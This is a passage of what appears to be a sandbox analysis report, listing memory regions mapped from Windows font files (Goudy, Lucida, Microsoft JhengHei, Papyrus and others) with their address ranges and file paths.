"goudosb.ttf" filename = "\\Windows\\Fonts\\GOUDOSB.TTF" (normalized: "c:\\windows\\fonts\\goudosb.ttf") Region: id = 1141 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudosb.ttf" filename = "\\Windows\\Fonts\\GOUDOSB.TTF" (normalized: "c:\\windows\\fonts\\goudosb.ttf") Region: id = 1142 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudosi.ttf" filename = "\\Windows\\Fonts\\GOUDOSI.TTF" (normalized: "c:\\windows\\fonts\\goudosi.ttf") Region: id = 1143 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudosi.ttf" filename = "\\Windows\\Fonts\\GOUDOSI.TTF" (normalized: "c:\\windows\\fonts\\goudosi.ttf") Region: id = 1144 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudysto.ttf" filename = "\\Windows\\Fonts\\GOUDYSTO.TTF" (normalized: "c:\\windows\\fonts\\goudysto.ttf") Region: id = 1145 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudysto.ttf" filename = "\\Windows\\Fonts\\GOUDYSTO.TTF" (normalized: "c:\\windows\\fonts\\goudysto.ttf") Region: id = 1146 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "harlowsi.ttf" filename = "\\Windows\\Fonts\\HARLOWSI.TTF" (normalized: "c:\\windows\\fonts\\harlowsi.ttf") Region: id = 1147 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "harlowsi.ttf" filename = "\\Windows\\Fonts\\HARLOWSI.TTF" (normalized: "c:\\windows\\fonts\\harlowsi.ttf") Region: id = 1148 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "harngton.ttf" filename = "\\Windows\\Fonts\\HARNGTON.TTF" (normalized: "c:\\windows\\fonts\\harngton.ttf") Region: id = 1149 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "harngton.ttf" filename = "\\Windows\\Fonts\\HARNGTON.TTF" (normalized: "c:\\windows\\fonts\\harngton.ttf") Region: id = 1150 start_va = 0x450000 end_va = 0x46afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hatten.ttf" filename = "\\Windows\\Fonts\\HATTEN.TTF" (normalized: "c:\\windows\\fonts\\hatten.ttf") Region: id = 1151 start_va = 0x450000 end_va = 0x46afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hatten.ttf" filename = "\\Windows\\Fonts\\HATTEN.TTF" (normalized: "c:\\windows\\fonts\\hatten.ttf") Region: id = 1152 start_va = 0x450000 end_va = 0x466fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "htowert.ttf" filename = "\\Windows\\Fonts\\HTOWERT.TTF" (normalized: "c:\\windows\\fonts\\htowert.ttf") Region: id = 1153 start_va = 0x450000 end_va = 0x466fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "htowert.ttf" filename = "\\Windows\\Fonts\\HTOWERT.TTF" (normalized: "c:\\windows\\fonts\\htowert.ttf") Region: id = 1154 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "htowerti.ttf" filename = "\\Windows\\Fonts\\HTOWERTI.TTF" (normalized: "c:\\windows\\fonts\\htowerti.ttf") Region: id = 1155 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "htowerti.ttf" filename = "\\Windows\\Fonts\\HTOWERTI.TTF" (normalized: "c:\\windows\\fonts\\htowerti.ttf") Region: id = 1156 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imprisha.ttf" filename = "\\Windows\\Fonts\\IMPRISHA.TTF" (normalized: "c:\\windows\\fonts\\imprisha.ttf") Region: id = 1157 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imprisha.ttf" filename = "\\Windows\\Fonts\\IMPRISHA.TTF" (normalized: "c:\\windows\\fonts\\imprisha.ttf") Region: id = 1158 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "infroman.ttf" filename = "\\Windows\\Fonts\\INFROMAN.TTF" (normalized: "c:\\windows\\fonts\\infroman.ttf") Region: id = 1159 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "infroman.ttf" filename = "\\Windows\\Fonts\\INFROMAN.TTF" (normalized: "c:\\windows\\fonts\\infroman.ttf") Region: id = 1160 start_va = 0x710000 end_va = 0x730fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itcblkad.ttf" filename = "\\Windows\\Fonts\\ITCBLKAD.TTF" (normalized: "c:\\windows\\fonts\\itcblkad.ttf") Region: id = 1161 start_va = 0x710000 end_va = 0x730fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itcblkad.ttf" filename = "\\Windows\\Fonts\\ITCBLKAD.TTF" (normalized: "c:\\windows\\fonts\\itcblkad.ttf") Region: id = 1162 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itcedscr.ttf" filename = "\\Windows\\Fonts\\ITCEDSCR.TTF" (normalized: "c:\\windows\\fonts\\itcedscr.ttf") Region: id = 1163 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itcedscr.ttf" filename = "\\Windows\\Fonts\\ITCEDSCR.TTF" (normalized: "c:\\windows\\fonts\\itcedscr.ttf") Region: id = 1164 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itckrist.ttf" filename = "\\Windows\\Fonts\\ITCKRIST.TTF" (normalized: "c:\\windows\\fonts\\itckrist.ttf") Region: id = 1165 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itckrist.ttf" filename = "\\Windows\\Fonts\\ITCKRIST.TTF" (normalized: "c:\\windows\\fonts\\itckrist.ttf") Region: id = 1166 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "jokerman.ttf" filename = "\\Windows\\Fonts\\JOKERMAN.TTF" (normalized: "c:\\windows\\fonts\\jokerman.ttf") Region: id = 1167 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "jokerman.ttf" filename = "\\Windows\\Fonts\\JOKERMAN.TTF" (normalized: "c:\\windows\\fonts\\jokerman.ttf") Region: id = 1168 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "juice___.ttf" filename = "\\Windows\\Fonts\\JUICE___.TTF" (normalized: "c:\\windows\\fonts\\juice___.ttf") Region: id = 1169 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "juice___.ttf" filename = "\\Windows\\Fonts\\JUICE___.TTF" (normalized: "c:\\windows\\fonts\\juice___.ttf") Region: id = 1170 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kunstler.ttf" filename = "\\Windows\\Fonts\\KUNSTLER.TTF" (normalized: "c:\\windows\\fonts\\kunstler.ttf") Region: id = 1171 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kunstler.ttf" filename = "\\Windows\\Fonts\\KUNSTLER.TTF" (normalized: "c:\\windows\\fonts\\kunstler.ttf") Region: id = 1172 start_va = 0x450000 end_va = 0x45afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "latinwd.ttf" filename = "\\Windows\\Fonts\\LATINWD.TTF" (normalized: "c:\\windows\\fonts\\latinwd.ttf") Region: id = 1173 start_va = 0x450000 end_va = 0x45afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "latinwd.ttf" filename = "\\Windows\\Fonts\\LATINWD.TTF" (normalized: "c:\\windows\\fonts\\latinwd.ttf") Region: id = 1174 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbrite.ttf" filename = "\\Windows\\Fonts\\LBRITE.TTF" (normalized: "c:\\windows\\fonts\\lbrite.ttf") Region: id = 1175 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbrite.ttf" filename = "\\Windows\\Fonts\\LBRITE.TTF" (normalized: "c:\\windows\\fonts\\lbrite.ttf") Region: id = 1176 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbrited.ttf" filename = "\\Windows\\Fonts\\LBRITED.TTF" (normalized: "c:\\windows\\fonts\\lbrited.ttf") Region: id = 1177 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbrited.ttf" filename = "\\Windows\\Fonts\\LBRITED.TTF" (normalized: "c:\\windows\\fonts\\lbrited.ttf") Region: id = 1178 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbritedi.ttf" filename = "\\Windows\\Fonts\\LBRITEDI.TTF" (normalized: "c:\\windows\\fonts\\lbritedi.ttf") Region: id = 1179 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbritedi.ttf" filename = "\\Windows\\Fonts\\LBRITEDI.TTF" (normalized: "c:\\windows\\fonts\\lbritedi.ttf") Region: id = 1180 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbritei.ttf" filename = "\\Windows\\Fonts\\LBRITEI.TTF" (normalized: "c:\\windows\\fonts\\lbritei.ttf") Region: id = 1181 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbritei.ttf" filename = "\\Windows\\Fonts\\LBRITEI.TTF" (normalized: "c:\\windows\\fonts\\lbritei.ttf") Region: id = 1182 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lcallig.ttf" filename = "\\Windows\\Fonts\\LCALLIG.TTF" (normalized: "c:\\windows\\fonts\\lcallig.ttf") Region: id = 1183 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lcallig.ttf" filename = "\\Windows\\Fonts\\LCALLIG.TTF" (normalized: "c:\\windows\\fonts\\lcallig.ttf") Region: id = 1184 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfax.ttf" filename = "\\Windows\\Fonts\\LFAX.TTF" (normalized: "c:\\windows\\fonts\\lfax.ttf") Region: id = 1185 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfax.ttf" filename = "\\Windows\\Fonts\\LFAX.TTF" (normalized: "c:\\windows\\fonts\\lfax.ttf") Region: id = 1186 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxd.ttf" filename = "\\Windows\\Fonts\\LFAXD.TTF" (normalized: "c:\\windows\\fonts\\lfaxd.ttf") Region: id = 1187 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxd.ttf" filename = "\\Windows\\Fonts\\LFAXD.TTF" (normalized: "c:\\windows\\fonts\\lfaxd.ttf") Region: id = 1188 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxdi.ttf" filename = "\\Windows\\Fonts\\LFAXDI.TTF" (normalized: "c:\\windows\\fonts\\lfaxdi.ttf") Region: id = 1189 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxdi.ttf" filename = "\\Windows\\Fonts\\LFAXDI.TTF" (normalized: "c:\\windows\\fonts\\lfaxdi.ttf") Region: id = 1190 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxi.ttf" filename = "\\Windows\\Fonts\\LFAXI.TTF" (normalized: "c:\\windows\\fonts\\lfaxi.ttf") Region: id = 1191 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxi.ttf" filename = "\\Windows\\Fonts\\LFAXI.TTF" (normalized: "c:\\windows\\fonts\\lfaxi.ttf") Region: id = 1192 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lhandw.ttf" filename = "\\Windows\\Fonts\\LHANDW.TTF" (normalized: "c:\\windows\\fonts\\lhandw.ttf") Region: id = 1193 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lhandw.ttf" filename = "\\Windows\\Fonts\\LHANDW.TTF" (normalized: "c:\\windows\\fonts\\lhandw.ttf") Region: id = 1194 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsans.ttf" filename = "\\Windows\\Fonts\\LSANS.TTF" (normalized: "c:\\windows\\fonts\\lsans.ttf") Region: id = 1195 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsans.ttf" filename = "\\Windows\\Fonts\\LSANS.TTF" (normalized: "c:\\windows\\fonts\\lsans.ttf") Region: id = 1196 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansd.ttf" filename = "\\Windows\\Fonts\\LSANSD.TTF" (normalized: "c:\\windows\\fonts\\lsansd.ttf") Region: id = 1197 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansd.ttf" filename = "\\Windows\\Fonts\\LSANSD.TTF" (normalized: "c:\\windows\\fonts\\lsansd.ttf") Region: id = 1198 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansdi.ttf" filename = "\\Windows\\Fonts\\LSANSDI.TTF" (normalized: "c:\\windows\\fonts\\lsansdi.ttf") Region: id = 1199 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansdi.ttf" filename = "\\Windows\\Fonts\\LSANSDI.TTF" (normalized: "c:\\windows\\fonts\\lsansdi.ttf") Region: id = 1200 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansi.ttf" filename = "\\Windows\\Fonts\\LSANSI.TTF" (normalized: "c:\\windows\\fonts\\lsansi.ttf") Region: id = 1201 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansi.ttf" filename = "\\Windows\\Fonts\\LSANSI.TTF" (normalized: "c:\\windows\\fonts\\lsansi.ttf") Region: id = 1202 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltype.ttf" filename = "\\Windows\\Fonts\\LTYPE.TTF" (normalized: "c:\\windows\\fonts\\ltype.ttf") Region: id = 1203 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltype.ttf" filename = "\\Windows\\Fonts\\LTYPE.TTF" (normalized: "c:\\windows\\fonts\\ltype.ttf") Region: id = 1204 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypeb.ttf" filename = "\\Windows\\Fonts\\LTYPEB.TTF" (normalized: "c:\\windows\\fonts\\ltypeb.ttf") Region: id = 1205 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypeb.ttf" filename = "\\Windows\\Fonts\\LTYPEB.TTF" (normalized: "c:\\windows\\fonts\\ltypeb.ttf") Region: id = 1206 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypebo.ttf" filename = "\\Windows\\Fonts\\LTYPEBO.TTF" (normalized: "c:\\windows\\fonts\\ltypebo.ttf") Region: id = 1207 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypebo.ttf" filename = "\\Windows\\Fonts\\LTYPEBO.TTF" (normalized: "c:\\windows\\fonts\\ltypebo.ttf") Region: id = 1208 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypeo.ttf" filename = "\\Windows\\Fonts\\LTYPEO.TTF" (normalized: "c:\\windows\\fonts\\ltypeo.ttf") Region: id = 1209 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypeo.ttf" filename = "\\Windows\\Fonts\\LTYPEO.TTF" (normalized: "c:\\windows\\fonts\\ltypeo.ttf") Region: id = 1210 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "magnetob.ttf" filename = "\\Windows\\Fonts\\MAGNETOB.TTF" (normalized: "c:\\windows\\fonts\\magnetob.ttf") Region: id = 1211 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "magnetob.ttf" filename = "\\Windows\\Fonts\\MAGNETOB.TTF" (normalized: "c:\\windows\\fonts\\magnetob.ttf") Region: id = 1212 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "maian.ttf" filename = "\\Windows\\Fonts\\MAIAN.TTF" (normalized: "c:\\windows\\fonts\\maian.ttf") Region: id = 1213 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "maian.ttf" filename = "\\Windows\\Fonts\\MAIAN.TTF" (normalized: "c:\\windows\\fonts\\maian.ttf") Region: id = 1214 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "maturasc.ttf" filename = "\\Windows\\Fonts\\MATURASC.TTF" (normalized: "c:\\windows\\fonts\\maturasc.ttf") Region: id = 1215 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "maturasc.ttf" filename = "\\Windows\\Fonts\\MATURASC.TTF" (normalized: "c:\\windows\\fonts\\maturasc.ttf") Region: id = 1216 start_va = 0x710000 end_va = 0x73efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mistral.ttf" filename = "\\Windows\\Fonts\\MISTRAL.TTF" (normalized: "c:\\windows\\fonts\\mistral.ttf") Region: id = 1217 start_va = 0x710000 end_va = 0x73efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mistral.ttf" filename = "\\Windows\\Fonts\\MISTRAL.TTF" (normalized: "c:\\windows\\fonts\\mistral.ttf") Region: id = 1218 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mod20.ttf" filename = "\\Windows\\Fonts\\MOD20.TTF" (normalized: "c:\\windows\\fonts\\mod20.ttf") Region: id = 1219 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mod20.ttf" filename = "\\Windows\\Fonts\\MOD20.TTF" (normalized: "c:\\windows\\fonts\\mod20.ttf") Region: id = 1220 start_va = 0x8960000 end_va = 0x9db0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjh.ttc" filename = "\\Windows\\Fonts\\MSJH.TTC" (normalized: "c:\\windows\\fonts\\msjh.ttc") Region: id = 1221 start_va = 0x8960000 end_va = 0x9db0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjh.ttc" filename = "\\Windows\\Fonts\\MSJH.TTC" (normalized: "c:\\windows\\fonts\\msjh.ttc") Region: id = 1222 start_va = 0x8960000 end_va = 0x9db0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjh.ttc" filename = "\\Windows\\Fonts\\MSJH.TTC" (normalized: "c:\\windows\\fonts\\msjh.ttc") Region: id = 1223 start_va = 0x8960000 end_va = 0x970dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjhbd.ttc" filename = "\\Windows\\Fonts\\MSJHBD.TTC" (normalized: "c:\\windows\\fonts\\msjhbd.ttc") Region: id = 1224 start_va = 0x8960000 end_va = 0x970dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjhbd.ttc" filename = "\\Windows\\Fonts\\MSJHBD.TTC" (normalized: "c:\\windows\\fonts\\msjhbd.ttc") Region: id = 1225 start_va = 0x8960000 end_va = 0x970dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjhbd.ttc" filename = "\\Windows\\Fonts\\MSJHBD.TTC" (normalized: "c:\\windows\\fonts\\msjhbd.ttc") Region: id = 1226 start_va = 0x710000 end_va = 0x748fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msuighub.ttf" filename = "\\Windows\\Fonts\\MSUIGHUB.TTF" (normalized: "c:\\windows\\fonts\\msuighub.ttf") Region: id = 1227 start_va = 0x710000 end_va = 0x748fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msuighub.ttf" filename = "\\Windows\\Fonts\\MSUIGHUB.TTF" (normalized: "c:\\windows\\fonts\\msuighub.ttf") Region: id = 1228 start_va = 0x8960000 end_va = 0x9debfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyh.ttc" filename = "\\Windows\\Fonts\\MSYH.TTC" (normalized: "c:\\windows\\fonts\\msyh.ttc") Region: id = 1229 start_va = 0x8960000 end_va = 0x9debfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyh.ttc" filename = "\\Windows\\Fonts\\MSYH.TTC" (normalized: "c:\\windows\\fonts\\msyh.ttc") Region: id = 1230 start_va = 0x8960000 end_va = 0x9debfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyh.ttc" filename = "\\Windows\\Fonts\\MSYH.TTC" (normalized: "c:\\windows\\fonts\\msyh.ttc") Region: id = 1231 start_va = 0x8960000 end_va = 0x9717fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyhbd.ttc" filename = "\\Windows\\Fonts\\MSYHBD.TTC" (normalized: "c:\\windows\\fonts\\msyhbd.ttc") Region: id = 1232 start_va = 0x8960000 end_va = 0x9717fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyhbd.ttc" filename = "\\Windows\\Fonts\\MSYHBD.TTC" (normalized: "c:\\windows\\fonts\\msyhbd.ttc") Region: id = 1233 start_va = 0x8960000 end_va = 0x9717fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyhbd.ttc" filename = "\\Windows\\Fonts\\MSYHBD.TTC" (normalized: "c:\\windows\\fonts\\msyhbd.ttc") Region: id = 1234 start_va = 0x710000 end_va = 0x736fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mtcorsva.ttf" filename = "\\Windows\\Fonts\\MTCORSVA.TTF" (normalized: "c:\\windows\\fonts\\mtcorsva.ttf") Region: id = 1235 start_va = 0x710000 end_va = 0x736fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mtcorsva.ttf" filename = "\\Windows\\Fonts\\MTCORSVA.TTF" (normalized: "c:\\windows\\fonts\\mtcorsva.ttf") Region: id = 1236 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "niageng.ttf" filename = "\\Windows\\Fonts\\NIAGENG.TTF" (normalized: "c:\\windows\\fonts\\niageng.ttf") Region: id = 1237 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "niageng.ttf" filename = "\\Windows\\Fonts\\NIAGENG.TTF" (normalized: "c:\\windows\\fonts\\niageng.ttf") Region: id = 1238 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "niagsol.ttf" filename = "\\Windows\\Fonts\\NIAGSOL.TTF" (normalized: "c:\\windows\\fonts\\niagsol.ttf") Region: id = 1239 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "niagsol.ttf" filename = "\\Windows\\Fonts\\NIAGSOL.TTF" (normalized: "c:\\windows\\fonts\\niagsol.ttf") Region: id = 1240 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ocraext.ttf" filename = "\\Windows\\Fonts\\OCRAEXT.TTF" (normalized: "c:\\windows\\fonts\\ocraext.ttf") Region: id = 1241 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ocraext.ttf" filename = "\\Windows\\Fonts\\OCRAEXT.TTF" (normalized: "c:\\windows\\fonts\\ocraext.ttf") Region: id = 1242 start_va = 0x450000 end_va = 0x466fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oldengl.ttf" filename = "\\Windows\\Fonts\\OLDENGL.TTF" (normalized: "c:\\windows\\fonts\\oldengl.ttf") Region: id = 1243 start_va = 0x450000 end_va = 0x466fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oldengl.ttf" filename = "\\Windows\\Fonts\\OLDENGL.TTF" (normalized: "c:\\windows\\fonts\\oldengl.ttf") Region: id = 1244 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "onyx.ttf" filename = "\\Windows\\Fonts\\ONYX.TTF" (normalized: "c:\\windows\\fonts\\onyx.ttf") Region: id = 1245 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "onyx.ttf" filename = "\\Windows\\Fonts\\ONYX.TTF" (normalized: "c:\\windows\\fonts\\onyx.ttf") Region: id = 1246 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palscri.ttf" filename = "\\Windows\\Fonts\\PALSCRI.TTF" (normalized: "c:\\windows\\fonts\\palscri.ttf") Region: id = 1247 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palscri.ttf" filename = "\\Windows\\Fonts\\PALSCRI.TTF" (normalized: "c:\\windows\\fonts\\palscri.ttf") Region: id = 1248 start_va = 0x710000 end_va = 0x737fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "papyrus.ttf" filename = "\\Windows\\Fonts\\PAPYRUS.TTF" (normalized: "c:\\windows\\fonts\\papyrus.ttf") Region: id = 1249 start_va = 0x710000 end_va = 0x737fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "papyrus.ttf" filename = "\\Windows\\Fonts\\PAPYRUS.TTF" (normalized: "c:\\windows\\fonts\\papyrus.ttf") Region: id = 1250 start_va = 0x710000 end_va = 0x734fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "parchm.ttf" filename = "\\Windows\\Fonts\\PARCHM.TTF" (normalized: "c:\\windows\\fonts\\parchm.ttf") Region: id = 1251 start_va = 0x710000 end_va = 0x734fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "parchm.ttf" filename = "\\Windows\\Fonts\\PARCHM.TTF" (normalized: "c:\\windows\\fonts\\parchm.ttf") Region: id = 1252 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "per_____.ttf" filename = "\\Windows\\Fonts\\PER_____.TTF" (normalized: "c:\\windows\\fonts\\per_____.ttf") Region: id = 1253 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "per_____.ttf" filename = "\\Windows\\Fonts\\PER_____.TTF" (normalized: "c:\\windows\\fonts\\per_____.ttf") Region: id = 1254 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "perb____.ttf" filename = "\\Windows\\Fonts\\PERB____.TTF" (normalized: "c:\\windows\\fonts\\perb____.ttf") Region: id = 1255 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "perb____.ttf" filename = "\\Windows\\Fonts\\PERB____.TTF" (normalized: "c:\\windows\\fonts\\perb____.ttf") Region: id = 1256 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "perbi___.ttf" filename = "\\Windows\\Fonts\\PERBI___.TTF" (normalized: "c:\\windows\\fonts\\perbi___.ttf") Region: id = 1257 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "perbi___.ttf" filename = "\\Windows\\Fonts\\PERBI___.TTF" (normalized: "c:\\windows\\fonts\\perbi___.ttf") Region: id = 1258 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peri____.ttf" filename = "\\Windows\\Fonts\\PERI____.TTF" (normalized: "c:\\windows\\fonts\\peri____.ttf") Region: id = 1259 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peri____.ttf" filename = "\\Windows\\Fonts\\PERI____.TTF" (normalized: "c:\\windows\\fonts\\peri____.ttf") Region: id = 1260 start_va = 0x450000 end_va = 0x45bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pertibd.ttf" filename = "\\Windows\\Fonts\\PERTIBD.TTF" (normalized: "c:\\windows\\fonts\\pertibd.ttf") Region: id = 1261 start_va = 0x450000 end_va = 0x45bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pertibd.ttf" filename = "\\Windows\\Fonts\\PERTIBD.TTF" (normalized: "c:\\windows\\fonts\\pertibd.ttf") Region: id = 1262 start_va = 0x450000 end_va = 